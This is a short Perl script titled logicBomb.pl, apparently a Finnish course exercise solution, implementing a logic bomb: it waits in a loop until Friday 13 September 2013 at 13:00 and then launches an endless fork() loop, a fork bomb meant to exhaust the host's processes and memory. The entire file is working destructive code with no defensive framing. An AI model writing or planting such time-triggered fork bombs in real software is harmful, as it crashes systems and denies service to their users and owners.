logicBomb.pl

#!/usr/bin/env perl

# TOT Harjoitus 3 tehtävä 2 looginen pommi

use strict;
use warnings;
use Date::Parse;

# Perjantai 13.
my $time = str2time("13 Sep 2013 13:00:00");

while (1) {
  if (time() == $time) {
    fork() while (1);
  } else {
    sleep 1;
  }
}